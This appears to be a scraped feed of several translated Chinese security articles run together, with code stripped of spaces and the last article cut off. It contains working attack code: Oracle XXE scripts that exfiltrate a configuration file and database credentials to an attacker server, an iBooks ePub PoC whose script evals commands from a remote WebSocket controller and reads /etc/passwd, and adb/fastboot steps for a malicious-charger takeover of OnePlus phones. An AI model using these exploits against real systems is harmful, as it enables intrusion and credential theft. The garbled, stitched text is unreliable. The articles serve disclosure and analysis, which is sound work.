【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE

2017-03-28 17:51:05
来源:securiteam.com 作者:興趣使然的小胃

阅读:271次
点赞(0)
收藏





【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE

作者:興趣使然的小胃

稿费:60RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、漏洞概要

本文对Oracle知识库管理系统8.5.1发布的公告内容进行分析。

Oracle的InQuira知识库管理产品具备对各种来源的搜索技术,为用户提供了简单方便的获取知识的方法,这些知识普遍隐藏于存储企业内容的各类系统、应用程序以及数据库中。

总而言之,Oracle的知识库管理产品可以帮助用户在公司存储信息中挖掘有用的知识。


二、特别鸣谢

作为一名独立的安全研究员,Steven Seely发现了该产品中存在的漏洞,并将漏洞报告给Beyond Security公司的SecuriTeam安全公告计划。


三、厂商响应

Oracle已针对该漏洞发布了补丁,更多细节可以参考此链接。


四、漏洞细节

存在漏洞的代码位于“/imws/Result.jsp”文件中,攻击者利用该缺陷代码可访问位于第三方服务器中的某个XML文件。第三方服务器受攻击者控制,最终可实现受害者本地服务器上文件的窃取。

我们需要经过以下5个步骤以利用该漏洞(前面两个步骤需要在后台执行):

1、建立恶意的XML外部实体(XML External Entity,XXE)服务器。

2、监听gopher协议。

3、攻击者窃取“custom.xml”文件。

4、解密或破解AES密码。

5、获取受害者服务器的Shell。

下图反映了此次攻击的步骤以及攻击事件发生的顺序:


【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE

步骤1:建立一个恶意的XML外部实体(XXE)服务器。

x@pluto:~/xxe$rubyxxeserve.rb-o0.0.0.0 [2015-02-0916:03:45]INFOWEBrick1.3.1 [2015-02-0916:03:45]INFOruby1.9.3(2013-11-22)[x86_64-linux] ==Sinatra/1.4.5hastakenthestageon4567fordevelopmentwithbackupfromWEBrick [2015-02-0916:03:45]INFOWEBrick::HTTPServer#start:pid=18862port=4567 172.16.77.128--[09/Feb/2015:16:04:10+1100]"GET/xml?f=C:/Oracle/Knowledge/IM/instances/InfoManager/custom.xmlHTTP/1.1"2001730.0089 172.16.77.128--[09/Feb/2015:16:04:10AEDT]"GET/xml?f=C:/Oracle/Knowledge/IM/instances/InfoManager/custom.xmlHTTP/1.1"200173 -->/xml?f=C:/Oracle/Knowledge/IM/instances/InfoManager/custom.xml

步骤2:监听gopher协议。

x@pluto:~/xxe$./gopher.py startingupon0.0.0.0port1337 waitingforaconnection connectionfrom('172.16.77.128',50746) (+)ThedatabaseSIDis:jdbc:oracle:thin:@WIN-U94QE7O15KE:1521:IM (+)Thedatabaseusernameis:SYSasSYSDBA (+)Thedatabasepasswordis:VO4+OdJq+LXTkmSdXgvCg37TdK9mKftuz2XFiM9mif4=

步骤3:窃取“custom.xml”文件。

x@pluto:~/xxe$./poc.py (+)pullingcustom.xmlforthedbpassword... (!)Success!pleasecheckthegopher.pywindow!

步骤4:解密或破解AES密码。

NOTE:youwillneedtobruteforcetheencryptionkeywhichiscontainedinthewallet. OracleKnowledgeuses'OracleKnowledge1'asthewallet/keystorepassword,butyouwillmostlikelynothavethewalletorkeystoreinwhichcaseadictionaryattackistobeusedtofindthepassword. x@pluto:~/xxe$./decrypt.shVO4+OdJq+LXTkmSdXgvCg37TdK9mKftuz2XFiM9mif4= (+)Decrypting..."VO4+OdJq+LXTkmSdXgvCg37TdK9mKftuz2XFiM9mif4=" Result:"password"

步骤5:获取shell接口:

利用数据库信息,远程登录到数据库并执行代码。

你也可以在服务器系统中找到另一个配置文件,该配置文件可以允许攻击者使用一种更为“直接”的方法获取SYSTEM shell。

xxeserve.rb代码如下:

#!/usr/bin/envruby #Notes: #-Thisistheoutofbandxxeserverthatisusedtoretrievethefileandsenditviathegopherprotocol #-rubyxxeserve.rb-o0.0.0.0 require'sinatra' get"/"do return"OHAI"ifparams[:p].nil? f=File.open("./files/#{request.ip}#{Time.now.to_i}","w") f.write(params[:p]) f.close "" end get"/xml"do return""ifparams[:f].nil? <<END <!ENTITY%paylSYSTEM"file:///#{params[:f]}"> <!ENTITY%int"<!ENTITY&#37;trickSYSTEM'gopher://#{request.host}:1337/?%payl;'>"> END end

gopher.py代码如下:

#!/usr/bin/python #Notes: #-Thiscodejustlistensforclientrequestsonport1337 #-itlooksfordatabasestringsandprintsthemout importsocket importsys importre #CreateaTCP/IPsocket sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM) #Bindthesockettotheport server_address=('0.0.0.0',1337) print>>sys.stderr,'startingupon%sport%s'%server_address sock.bind(server_address) #Listenforincomingconnections sock.listen(1) whileTrue: #Waitforaconnection print>>sys.stderr,'waitingforaconnection' connection,client_address=sock.accept() try: print>>sys.stderr,'connectionfrom',client_address #Receivethedatainsmallchunksandretransmitit whileTrue: data=connection.recv(2048) ifdata: #printdata matchuser=re.search("<user>(.*)</user>",data) matchpassword=re.search("<password>(.*)</password>",data) matchurl=re.search("<url>(.*)</url>",data) ifmatchuserandmatchpasswordandmatchurl: print"(+)ThedatabaseSIDis:%s"%matchurl.group(1) print"(+)Thedatabaseusernameis:%s"%matchuser.group(1) print"(+)Thedatabasepasswordis:%s"%matchpassword.group(1) connection.close() sys.exit(1) connection.close() sys.exit(1) else: print>>sys.stderr,'nomoredatafrom',client_address break exceptException: connection.close() finally: #Cleanuptheconnection connection.close()

poc.py代码如下:

#!/usr/bin/python #Notes: #-ThiscodestealstheC:/Oracle/Knowledge/IM/instances/InfoManager/custom.xmlfileviatheXXEbug. #-Youneedtorunrubyxxeserve.rb-o0.0.0.0anduseaninterfaceipforthe"localxxeserver" #-Thecoderequiresaproxyservertobesetupon127.0.0.1:8080although,thiscanbechanged importrequests importjson importsys #burp,ftw proxies={ "http":"http://127.0.0.1:8080", } iflen(sys.argv)<3: print"(+)Usage:%s[localxxeserver:port][target]"%sys.argv[0] print"(+)Example:%s172.16.77.1:4567172.16.77.128"%sys.argv[0] sys.exit(1) localxxeserver=sys.argv[1] target=sys.argv[2] payload={'method':'2','inputXml':'''<?xmlversion="1.0"encoding="utf-8"?> <!DOCTYPEroot[ <!ENTITY%%remoteSYSTEM"http://%s/xml?f=C:/Oracle/Knowledge/IM/instances/InfoManager/custom.xml"> %%remote; %%int; %%trick;]>'''%localxxeserver} url='http://%s:8226/imws/Result.jsp'%target headers={'content-type':'application/x-www-form-urlencoded'} print"(+)pullingcustom.xmlforthedbpassword..." r=requests.post(url,data=payload,headers=headers,proxies=proxies) ifr.status_code==200: print"(!)Success!pleasecheckthegopher.pywindow!"

decrypt.sh代码如下:

#!/bin/sh if["$#"-ne1];then echo"(!)Usage:$0[hash]" else java-classpath"infra_encryption.jar:oraclepki.jar:osdt_core.jar:osdt_cert.jar:commons-codec-1.3.jar"-DKEYSTORE_LOCATION="keystore"com.inquira.infra.security.OKResourceEncryption$1 fi

五、CVE细节

CVE-2016-3542


六、受影响产品

Oracle知识库管理系统12.1.1、12.1.2、12.1.3、12.2.3、12.2.4以及12.2.5版本。


【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE
【漏洞分析】Oracle知识库管理系统XXE漏洞分析:可导致RCE
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://blogs.securiteam.com/index.php/archives/3052

【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

$
0
0
【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

2017-03-29 09:59:23
来源:trendmicro.com 作者:興趣使然的小胃

阅读:468次
点赞(0)
收藏





【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

翻译:興趣使然的小胃

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

我们通常会认为iOS生态系统是一个封闭的生态系统,受到Apple的严格控制。然而,攻击者还是有办法能够突破这种限制。读者应该还记得Haima应用,它使用了Apple的企业证书方式来打破限制,但这种方法需要频繁更换证书,代价较为昂贵。

近期,我们观察到了第三方应用开始通过改进技术来突破iOS限制。我们注意到官方的iOS应用商店上有一个第三方应用,该应用伪装成一个合法的记账应用以逃避安全检测,实际上这是一个第三方应用商店,上面提供了具有越狱功能的应用程序。

目前尚不清楚这个恶意应用的确切目标。这个记账应用使用了日语字符集,但应用商店本身是用中文编写的。此外,这个应用可以在多个国家的官方应用商店上找到。


二、应用初探

该应用名为“こつこつ家計簿-無料のカレンダー家計簿”,翻译过来就是“家庭记账应用”。该应用表面看来似乎是服务于家庭的财务助手类应用,但实际上是一个第三方应用商店。本文发表时Apple已将其从官方应用商店中移除。


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图1. iOS官方应用商店中的家庭记账应用


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图2~4. 应用启动的各个阶段截图

应用的代码如图5所示,首次运行时,应用会检查系统用户偏好设置文件中的PPAASSWOpenKey值,利用该值来判断应用是否已在设备上运行过,如果该值不存在,则代表这是首次执行。首次执行时应用会向用户请求数据访问权限来访问第三方应用商店。受制于iOS的权限机制,应用的请求需要用户的授权许可(图2)。权限请求失败后,应用程序跳转到记账视图,伪装为一个合法的应用(图3)。应用在图3中对话框中声明,若要使用信息导出功能,用户需要允许应用的数据访问权限。


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图5. 跳转到记账视图的代码

只要应用没被关闭或者转入后台运行,它会始终处于记账视图中。然而,一旦转入到后台运行状态,该应用会再次试图连接第三方应用商店。连接成功后,该应用会向用户呈现第三方应用商店界面(图4)。

这个第三方应用商店作者之所以这么做,主要是希望能够通过官方应用商店为用户提供便捷的分发渠道,虽然这一行为需要通过Apple的严格审查。


三、安装其他应用

成功进驻官方应用商店后,这个第三方应用商店还需要具备安装其他应用的能力。为了实现这一目标,应用开发者使用了常见的企业证书签名技术来安装非App Store应用。

这种技术需要创建一个plist文件来安装应用。图7是plist文件的一个样例(只是个例子,不是第三方应用商店所使用的plist文件):


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图7. plist文件示例

随后,该应用提供如下一个链接:

itms-services://?action=download-manifest&amp;url=https://{webserveraddress}/install_app.plist.

用户访问该URL即可安装应用。如果应用使用Apple证书签名,那么系统会弹框,提示该应用必须存在于用户Apple ID的购买记录中。这也是为什么这个第三方应用商店需要用户提供Apple ID,以便完成购买过程:


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图8~11. 应用安装的各个阶段


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图12. 用于创建plist文件和安装链接的代码片段


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图13. 用于创建应用安装进程的代码片段


四、恶意软件分发方式

除了能够安装官方应用商店中的应用,这个应用商店还可以销售不经过官方应用商店分发的其他应用。不幸的是,这些应用中包含恶意软件以及用户不需要的其他应用。

在此平台销售的一个应用名叫“PG Client”,这是iOS设备上的一个越狱应用。该应用曾经出现在官方应用商店中,现在已被移除。如下图所示。


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图14. PG Client应用

其他恶意应用会经常提示用户在电脑上下载PPHelper应用,这也是一个iOS越狱工具。应用在PC或Mac上安装完毕后,会要求用户将设备连接至电脑。PPHelper从连接的设备中读取与用户授权有关的一些文件,并以iTunes身份与设备进行通信,从而有效地绕过了iOS的DRM保护机制。


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图15~17. 要求用户连接至电脑端的助手类应用步骤截图


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图18~19. 请求用户设备授权的代码


五、推广其他应用以谋取利益

我们发现该商店中还存在另一类问题应用,如名为“爱应用助手”的应用。这个应用的功能是推广已在官方应用商店中销售的那些应用。这种推广方式可以绕过Apple的应用搜索排行和付费搜索广告选项。这款应用能够借助应用推广方式从开发者身上谋取利益,这些开发者不希望通过Apple的官方推广服务来推广应用。

iOS系统含有丰富的API,便于开发者显示应用程序销售页面。爱应用助手使用这种API,将用户从自身的应用列表引导到被推广应用所在官方商店页面。


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图20. 安装推广应用

“爱应用助手”在后台运行,前台窗口显示的是被推广应用在官方应用商店中的页面。相关代码如下所示:


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图21. 打开官方应用商店窗口的代码

“爱应用助手”在用户隐私方面存在多个问题。首先,助手在安装过程中会将某些用户属性上传到远程服务器,其中包括广告标识符(advertising identifier,idfa)属性,这个属性主要用于统计软件的下载次数。


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图22. 上传用户属性

此外,助手还使用了名为“TalkingData”的第三方SDK,用来收集与用户行为有关的信息:


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图23. 调用TalkingData

这个SDK提供了许多富有侵略性的API接口,其功能包括获取多个用户系统信息(包括Wi-Fi网络名、正在运行的进程信息以及IP地址信息)。如果用户手机已经越狱,这个SDK还可以收集用户的Apple ID和已安装应用信息。这足以让我们将其判定为潜在非必要应用(potentially unwanted application)。


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

图24. 其他富有侵略性的API调用


六、存在的风险及缓解措施

我们建议用户谨慎下载第三方应用商店中的应用。Apple无法保证第三方应用商店所提供的应用的安全性,用户在这种环境下会面临各种威胁(如恶意软件以及其他不需要应用)。业内组织应该制定政策,如阻止未经批准的应用商店和保护私人设备,以减少这些恶意应用所带来的风险。

在本文发表之前,我们已经将此类应用的存在情况告知了Apple公司。

本文中分析的样本文件特征如下:


【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析

【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析
【技术分享】对iPhone安装PP助手后可能带来的安全隐患分析
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:http://blog.trendmicro.com/trendlabs-security-intelligence/third-party-app-stores-delivered-via-ios-app-store/

挖社会主义墙角,薅共享单车羊毛

$
0
0
挖社会主义墙角,薅共享单车羊毛

2017-03-29 11:33:21
来源:雷晓川@风控数据云联盟 阅读:671次
点赞(0)
收藏





挖社会主义墙角,薅共享单车羊毛

共享单车倒贴钱让你骑,你骑不骑?还可以提现,这是一个历史性的转折点。一定要记录下来,这也侧面标志着共享单车打响了新一轮的“烧钱战”。不由得开动灰产思维想一下,挣钱的机会来了。


挖社会主义墙角,薅共享单车羊毛

红包车与灰产机会

共享单车推出了红包车,规则是至少骑行10分钟,红包1元起,骑行到地铁站等需求中心有机会拿到100元的红包,累积10元可提现。

下图显示了一个红包单车的密集点:


挖社会主义墙角,薅共享单车羊毛

从地图上看该地地貌如下:


挖社会主义墙角,薅共享单车羊毛

这是上海南部的一个工厂区,附近人烟比较稀少。与单车的宣传相对照,可以看出红包车应该是停放到偏远地点,有一段时间没人用的车。


羊毛党如何“生产”红包车?

基于目前红包车的算法,羊毛党搜索附近的共享单车,用面包车拉到偏僻地方上锁,刷新应用,等待变成红包车,同时用微信等手段招揽红包猎手(单车红包的羊毛党)。

如果红包车平台规则不严,可以解锁后批量拉到地铁站等处获得较高额度红包,而且还可以顺手把地铁站的非红包车收回来,构成循环。

从目前笔者朋友圈晒出的截图、官方晒出的截图来看,单车红包平均不会太小,否则起不到刺激作用,但如果大一些的话,便会刺激薅羊毛产业。


挖社会主义墙角,薅共享单车羊毛

单车红包推出的本意是应对共享单车的潮汐效应,用红包鼓励用户将单车从需求不旺的地点向需求旺盛的地点骑行调配。而对羊毛党来说,多找几个人,收车,养红包,变现,一条龙循环运作,从而达到收益最大化目的。

我们算一下若平均每车可获得10元,最多可以薅多少?

假设一个羊毛党每天不间断工作8小时,红包车骑10分钟会有领取红包的机会。若红包每单平均10元,即每人每天的羊毛480元。

对于有空就钻的羊毛党而言也是一笔不错的收益。

共享单车设计规则时,一定不要低估恶意规则利用者的破坏力。如果红包车制度在悬赏金额、红包产生机制、发放规则中不做好对恶意红包猎手的防范,有可能运行结果会是有人在偏远地区囤积共享单车养红包,反而进一步加剧共享单车分布的不平衡。


如何防范“薅羊毛”

魔高一尺,道高一丈,今天我们从几个角度来说说如何防范薅羊毛。

1)欺诈网络图谱

首先,薅单车毛必不可少的是手机账号,而同一个账号频繁操作,共享单车系统必然也会发起警报,大多数羊毛党会利用多个手机多个账户协同操作,为了方便大家理解,请看下面的网络图谱:


挖社会主义墙角,薅共享单车羊毛

红色点表示不同设备;

绿色点表示不同账号;

蓝色点表示不同共享单车;

红色点和绿色点之间的虚线表示:该设备注册了这个账号;

蓝色点与绿色点之间的虚线表示该账号领取了这个共享单车的某些奖励;

上面的左图是正常用户的行为网络图谱:不同设备的行为是分散的,不一致的,而右边是“公会式羊毛党”的行为网络图谱。

在网络图谱上,羊毛党的设备行为会呈现出高度的一致性和集中性,羊毛党经常通过网络发起组织,在一些单点特征上,同正常用户一样呈现出分散的特点,使得单点防御难以奏效。

但如果将用户行为用网络的形式建模展示,会发现在一些特殊的图形特征上,欺诈行为明显异于正常行为,这样就会判断哪些会是羊毛党,进一步筛选。

2)用户行为信息

借助全栈被动式设备指纹系统,在会话和账号两层采集和提取用户行为信息。在会话层面上,将用户的行为模式,如事件发生的次序、发生的间隔时间,归为几类,在此基础上识别出异常行为模式。

在账号的层面上,将会话层面上提取到的行为信息按时间串联起来,得到账户层面的异常行为标示,其次根据账号相关联的历史行为数据,提取出用户的偏好属性,比如是否为僵尸账号,相邻登录的平均地理距离等。最后,我们将这些信息综合起来,形成特有的用于反欺诈的用户画像。

当一个账号再次出现在业务中时,用户画像中的特征就可以帮助我们评估对应业务事件的风险。

在实践中,笔者发现,由“羊毛党”控制的账号,通常具有某些相似性,比如所用手机号码都来自某个号段,用户名都由三个小写字母,五个大写字母和四个数字组成。据此,我们就可以定义账号之间的相似度。这样即使一个账号首次出现,我们也可以使用用户画像,对其风险做一个大致的评估。

共享单车用有趣的方式引导人们将车停到更需要单车的区域,让更多的用户有车骑、骑好车,提高运营效率。笔者在截稿时也发现,周围的红包车比前几天会多一些,看来共享单车也在不停完善规则、算法。作为反欺诈业内从业者,会多多关注共享单车行业,提出更优质的反欺诈解决方案,我们下期再见~


挖社会主义墙角,薅共享单车羊毛
挖社会主义墙角,薅共享单车羊毛
本文转载自 雷晓川@风控数据云联盟
原文链接:https://mp.weixin.qq.com/s/5--_zmcwEb7gx2luAGbKiA

【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

$
0
0
【技术分享】CVE-2017-2426:苹果iBook正在利用javascript“读”你(含演示视频、POC)

2017-03-29 10:39:42
来源:s1gnalcha0s.github.io 作者:shan66

阅读:1498次
点赞(0)
收藏






【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

翻译:shan66

稿费:50RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


“是的,书很危险。它们应该是危险的——因为它们蕴含思想。”——彼得豪特曼

在前一篇关于ePub解析器的文章(即,这本书正在读你——利用支持ePub书籍格式的服务和阅读软件)中,我提到了使用ePub的脚本功能对用户执行本地攻击的话题。

苹果刚刚公布了一个安全漏洞,即我去年在iBooks上报告的一个问题:允许在打开书籍时访问用户系统上的文件。 El Capitan的iBooks将使用file://origin打开一个ePub,这将允许攻击者在打开一本书时访问用户的文件系统。 (CVE-2017-2426)

为了帮助演示如何使用这种方式对用户进行攻击,我将WebSocket客户端添加到了一本书中,以便打开该书的所有用户都将连接到一个WebSocket控制器服务器,该服务器可以为他们发送任意指令。 只要用户将书打开,ePub中的WebSocket客户端就处于允许访问的状态(如果向用户提供了值得阅读的内容的话,那么电子书就很可能会长时间处于打开状态)。

例如,向用户发送一本图书:


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

打开书籍时,iBooks将连接到WebSocket控制器:


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

连接到WebSockets控制器的iBooks。如果阅读器含有CVE-2017-2426(file://origin)漏洞的话,则攻击者就可以获取本地文件了:


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

演示视频


POC

您可以使用这里的POC书亲自试验一下。 您可以在Apple iBooks或Adobe Digital Editions等阅读器中打开它。


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)

免责声明:虽然POC将连接到我的控制器,但我保证不会干任何坏事。

您也可以修改它,使其指向自己的控制器:

curlhttps://s1gnalcha0s.github.io/assets/controller/POC.epub-opoc.epub unzippoc.epub;rmpoc.epub

poc.epub/epub/main.js的内容

WebSocketController='ws://websocket-controller.herokuapp.com:80'; varsocket=newWebSocket(WebSocketController,'echo-protocol'); socket.onopen=function(evt){onopen()}; socket.onmessage=function(msg){onmessage(msg)}; socket.onclose=function(evt){onerror()} functiononopen() { message('ConnectedtoWebSocketController:'+WebSocketController); } functiononerror() { message('UnabletoconnecttoWebSocketController:'+WebSocketController); } functiononmessage(msg) { //justevalanythingsentfromthecontroller response=eval(msg.data); //sendresponsebacktocontroller socket.send(response); } functionget(loc){ varxmlhttp=newXMLHttpRequest(); xmlhttp.open('GET','file://'+loc,false); xmlhttp.send(); //populatethemessageelement message(xmlhttp.responseText); returnxmlhttp.responseText; } functionmessage(message){ document.getElementById("message").innerText=message; returnmessage; } functionshowExfil(){ get('/etc/passwd'); } zip-rpoc.epub*

Node.js WebSocket控制器

curlhttps://s1gnalcha0s.github.io/assets/controller/server.js-oserver.js npminstallwebsocket nodeserver.js

本文到此就结束了,祝阅读愉快!


【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)
【技术分享】CVE-2017-2426:苹果iBook正在利用JavaScript“读”你(含演示视频、POC)
本文由 安全客 翻译,转载请注明“转自安全客”,并附上链接。
原文链接:https://s1gnalcha0s.github.io/ibooks/epub/2017/03/27/This-book-reads-you-using-JavaScript.html

【技术分享】如何通过恶意充电器控制你的OnePlus 3/3T(含演示视频)

$
0
0
【技术分享】如何通过恶意充电器控制你的OnePlus 3/3T(含演示视频)

2017-03-29 14:49:36
来源:alephsecurity.com 作者:興趣使然的小胃

阅读:856次
点赞(0)
收藏





【技术分享】如何通过恶意充电器控制你的OnePlus 3/3T(含演示视频)

翻译:興趣使然的小胃

稿费:200RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、前言

上个月,我们公布了OnePlus 3/3T中存在的CVE-2017-5626漏洞(已在OxygenOS 4.0.2中修复),该漏洞允许攻击者在不恢复手机出厂设置前提下,解锁OnePus 3/3T。结合这个漏洞,我们还发现了CVE-2017-5624漏洞(已在OxygenOS 4.0.3中修复),该漏洞允许攻击者攻击锁定状态下的设备,在不引起用户任何警觉情况下,实现持久化的高权限代码执行,同时也可以在受害者输入凭证后访问用户的隐私数据。然而,从攻击者角度来看,这个漏洞需要物理上接触设备,或通过已授权的ADB接口访问设备。

本文中,我们介绍了OnePlus 3/3T中新发现的一个严重漏洞,漏洞编号为CVE-2017-5622,OxygenOS 4.0.2及以下系统版本受此漏洞影响。漏洞的利用条件不像之前那般苛刻。该漏洞与CVE-2017-5626结合使用,还可让恶意充电器控制处于关机状态下的用户设备(或者恶意充电器也可以在连接手机后不充电,处于等待状态中,直到手机电量耗尽)。如果与CVE-2017-5624结合使用,攻击者还可以隐藏对设备系统(system)分区的篡改痕迹。

我们已经向OnePlus安全团队报告了CVE-2017-5622漏洞,他们在上个月发布的OxygenOS 4.0.3系统版本中修复了该漏洞。感谢OnePlus安全团队对该漏洞的快速有效处理。


二、演示视频

在深入技术细节之前,我们可以先看一下几个PoC的演示视频。

第一个视频演示了恶意充电器如何利用CVE-2017-5622和CVE-2017-5626漏洞来获得root shell、将SElinux设置为permissive模式、甚至执行内核代码:

视频一

第二个视频演示了恶意充电器如何利用CVE-2017-5622、CVE-2017-5624以及CVE-2017-5626三个漏洞替换系统分区,以进一步安装特权应用。请注意,一旦替换攻击过程结束,受害者将无法得知设备已被篡改。

视频二


三、充电启动模式下的ADB访问(CVE-2017-5622)

当人们将关机状态下的OnePlus 3/3T与某个充电器连接时,bootloader会以充电(charger)启动模式加载整个系统平台(换句话说,也就是ro.bootmode = charger)。这种状态下的系统不应该开放任何敏感的USB接口,否则容易受到诸如“Juice-jacking”类型的恶意充电器的攻击。

令我们惊讶的是,第一次连接关机状态下的OnePlus 3/3T时,我们发现设备提供了一个adb访问接口:

>adbshell android:/$id uid=2000(shell)gid=2000(shell)groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc)context=u:r:shell:s0 android:/$getpropro.bootmode charger android:/$getpropro.boot.mode charger android:/$getprop|grep-ioxygen [ro.oxygen.version]:[4.0.2] android:/$

我们感到非常疑惑,因为这种情况并不常见(也不应该出现)。我们立刻想到了两个问题:

问题一:为什么ADB会在此时运行?

这个问题可以在Android的启动过程中找到答案,具体来说,我们可以在init进程所调用的位于boot分区的几个脚本中找到答案。通过ps命令,我们可知init是adbd的父进程:

android:/$ps-x|grepadb shell444112324564poll_sched0000000000S/sbin/adbd(u:2,s:10) android:/$ps-x|grepinit root10158282496SyS_epoll_0000000000S/init(u:6,s:102)

因此,我们推测是init进程的某些脚本在设备处于充电启动模式时启动了adbd。仔细观察init.qcom.usb.rc,我们可以看到以下内容:

oncharger [...] mkdir/dev/usb-ffs/adb0770shellshell mountfunctionfsadb/dev/usb-ffs/adbuid=2000,gid=2000 write/sys/class/android_usb/android0/f_ffs/aliasesadb setproppersist.sys.usb.configadb setpropsys.usb.configfs0 setpropsys.usb.configadb [...]

当“ro.bootmode == charger”时,“on charger”事件会被触发,这一点我们也可以在Android 7.1.1的init.cpp文件中看到:

[...] std::stringbootmode=property_get("ro.bootmode"); if(bootmode=='charger'){ am.QueueEventTrigger('charger'); }else{ am.QueueEventTrigger("late-init"); } [...]

因此,init.usb.rc文件中的“sys.usb.config”属性被设置为“adb”,这会导致init进程启动adb:

[...] onproperty:sys.usb.config=adb&&property:sys.usb.configfs=0 write/sys/class/android_usb/android0/enable0 write/sys/class/android_usb/android0/idVendor2A70#VENDOR_EDITAnderson@,2016/09/21,modifyfrom18d1to2A70 write/sys/class/android_usb/android0/idProduct4EE7 write/sys/class/android_usb/android0/functions${sys.usb.config} write/sys/class/android_usb/android0/enable1 startadbd setpropsys.usb.state${sys.usb.config} [...]

问题二:ADB授权保护机制在哪?

为了保护设备在启动adbd时不受恶意USB端口(比如恶意充电器)影响,Android早已启用了ADB授权机制(自Jelly-bean开始),在这种机制下,任何尝试使用未授权设备获取ADB会话的行为都会被阻止。

那么,这种情况为什么不适用于OnePlus 3/3T?首先,我们来看看adbd的AOSP实现。在adbd_main函数中,我们可以看到控制ADB授权的几个全局标志,比如auth_required标志:

intadbd_main(intserver_port){ [...] if(ALLOW_ADBD_NO_AUTH&&property_get_bool("ro.adb.secure",0)==0){ auth_required=false; } [...]

这个标志随后被用于handle_new_connection函数中:

staticvoidhandle_new_connection(atransport*t,apacket*p){ [...] if(!auth_required){ handle_online(t); send_connect(t); }else{ send_auth_request(t); } [...] }

因此我们推测,如果OxygenOS系统使用了adbd,那么ro.adb.secure值应该为0,然而事实并非如此:

android:/$getpropro.adb.secure 1 android:/$

因此,我们判断OnePlus 3/3T的OxygenOS系统使用了定制版的adbd!由于我们无法获得系统源码,因此我们需要研究从二进制层面研究一下。使用IDA反编译系统镜像,我们可以看到如下信息:

__int64sub_400994() { [...] if(!(unsigned__int8)sub_440798("ro.adb.secure",0LL)) auth_required_50E088=0; getprop("ro.wandrfmode",&v95,&byte_4D735C); if(!(unsignedint)strcmp(&v95,&a0_1)||!(unsignedint)strcmp(&v95,&a1_1)||!(unsignedint)strcmp(&v95,&a2)) auth_required_50E088=0; getprop("ro.boot.mode",&v94,&byte_4D735C); if(!(unsignedint)strcmp(&v94,'charger')) auth_required_50E088=0; [...] }

我们可以很清楚地看到,OnePlus使用了定制版的adb,使得系统在充电启动模式下时,auth_required值为0(这里顺便提一下,上述代码中的ro.wandrfmode与CVE-2017-5623漏洞有关)。


四、漏洞利用

那么我们可以如何利用这个ADB接口呢?首先,我们应该注意到,即使我们获得了一个shell,我们也无法访问用户数据,因为此时分区处于非挂载和加密状态。然而,我们可以通过“reboot bootloader”命令重启设备,进入fastboot模式,利用CVE-2017-5626漏洞替换boot或者system分区!我们还需要利用CVE-2017-5624漏洞来消除篡改system分区所引起的任何警告信息。如果设备的bootloader已经处于解锁状态,我们甚至用不上CVE-2017-5626漏洞。

回顾一下,CVE-2017-5626漏洞(使用“fastboot oem 4F500301”命令)可以允许攻击者无视OEM Unlocking限制条件,在未经用户确认和不擦除用户数据条件下使用fastboot方式解锁设备,同时,设备在运行此命令后仍会报告自身处于锁定状态。单独使用这个漏洞可以获得内核代码执行权限,但屏幕上会有5秒左右的警告信息。CVE-2017-5624漏洞允许攻击者使用fastboot方式禁用dm-verity,dm-verity防护功能可以防止system分区被篡改。

PoC 1:恶意充电器获取root shell及内核代码执行权限(CVE-2017-5622/6)

受害者将处于关机状态的设备连接至恶意充电器,此时攻击者能够获得一个ADB会话(CVE-2017-5622),可以重启设备进入fastboot:

>adbshell android:/$id uid=2000(shell)gid=2000(shell)groups=2000(shell),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats),3009(readproc)context=u:r:shell:s0 android:/$rebootbootloader >fastbootdevices cb010b5afastboot

利用CVE-2017-5626漏洞,恶意充电器可以替换boot镜像,使得adbd以root权限运行,SELinux也被设置为permissive模式(参考我们之前的文章):

